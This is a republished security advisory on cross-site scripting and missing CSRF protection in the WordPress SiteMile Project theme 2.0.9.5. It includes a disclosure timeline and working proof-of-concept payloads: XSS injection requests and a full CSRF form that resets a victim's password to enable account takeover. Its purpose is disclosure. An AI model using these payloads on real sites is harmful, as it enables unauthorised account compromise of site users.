Lucene search
K

WordPress SiteMile Project 2.0.9.5 Theme - Multiple Vulnerabilities

🗓️ 09 Mar 2016 00:00:00Reported by SySS GmbHType 
zdt
 zdt
🔗 0day.today👁 34 Views

WordPress SiteMile Project 2.0.9.5 Theme Multiple Vulnerabilities. High technical risk, low likelihood of exploitation. Missing input validation and output encoding. Remote attacker can compromise user accounts by injecting JavaScript code. Cross Site Scripting vulnerabilities in project title, description, and message board. No protection against Cross Site Request Forgery Attacks

Code
Wordpress ProjectTheme Multiple Vulnerabilities
- - ------------------------------------------------------------
 
Affected Version
================
Project Theme: 2.0.9.5
 
Problem Overview
================
Technical Risk: high
Likelihood of Exploitation: low
Vendor: http://sitemile.com/
Credits: LSE Leading Security Experts GmbH employee Tim Herres
Advisory: https://www.lsexperts.de/advisories/lse-2016-01-01.txt
Advisory Status: public
CVE-Number: [NA yet]
 
Problem Impact
==============
During an internal code review multiple vulnerabilities were identified.
The whole application misses input validation and output encoding. This means user supplied input is inserted in a unsafe way.
This could allow a remote attacker to easily compromise user accounts. 
 
Example:
An authenticated user sends a private message to another user. 
When the attacker injects JavaScript Code, it will automatically call the CSRF Proc below.
The only necessary information is the user id, which can be identified easily, see below.
If the other user opens the private message menu, the JavaScript code gets executed and the Password will be changed. It is not necessary to open the message.
Now the attacker can access the account using the new password.
 
Problem Description
===================
The following findings are only examples, the whole application should be reviewed for similar vulnerabilities.
 
#Stored Cross Site Scripting:
Creating a new project http://[URL]/post-new/? in the project title and description field.
Insert JavaScript code inside the project message board:
POST /?get_message_board=34 HTTP/1.1
sumbit_message=1&my_message=TestMessagBoard<script>alert("stored_xss")</script>
Also in the private message in the subject or in the message field. The payload in the Subject will be executed, if the user opens the private message list.
 
#Reflected Cross Site Scripting:
http://[IP]/advanced-search/?term=asdf&%22%3E%3Cscript%3Ealert%2811%29%3C%2fscript%3E
 
# No protection against Cross Site Request Forgery Attacks
There is no Cross Site Request Forgery protection.
Also the user password can be changed without knowledge of the current password.
A possible CSRF attack form, which will change the users password to "test":
<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://[ip]/my-account/personal-information/", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarywXBZovhmb3VnFJdz");
        xhr.setRequestHeader("Accept-Language", "de-DE,de;q=0.8,en-US;q=0.6,en;q=0.4");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"project_location_cat\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"user_city\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"user_description\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"password\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"reppassword\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"avatar\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"save-info\"\r\n" + 
          "\r\n" + 
          "Save\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" + 
          "Content-Disposition: form-data; name=\"user_id\"\r\n" + 
          "\r\n" + 
          "2\r\n" + 
          "------WebKitFormBoundarywXBZovhmb3VnFJdz--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>
 
#Getting user id
In a published project there is a button contact project owner with the corresponding UID --> url: http://[IP]/my-account/private-messages/?rdr=&pg=send&uid=1&pid=34.
Also a mouseover in the user profile (Feedback) will reveal the userid.
 
 
Temporary Workaround and Fix
============================
No fix
 
History
=======
2015-12-20  Problem discovery during code review
2016-01-12  Vendor contacted
2016-01-12  Vendor response (check in progress)
2016-01-26  Vendor contacted (asked for status update)
2016-01-26  Vendor reponse (check in progress)
2016-02-05  Vendor contacted (advisory will be released in 30 days)
2016-03-07  Vendor contacted (asked for last status update)
2016-03-07  Vendor response (vulnerabilities should be fixed in the last update 2.0.9.7 on 1st march 2016, not verified by the LSE)
2016-03-08  Advisory release

#  0day.today [2018-04-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation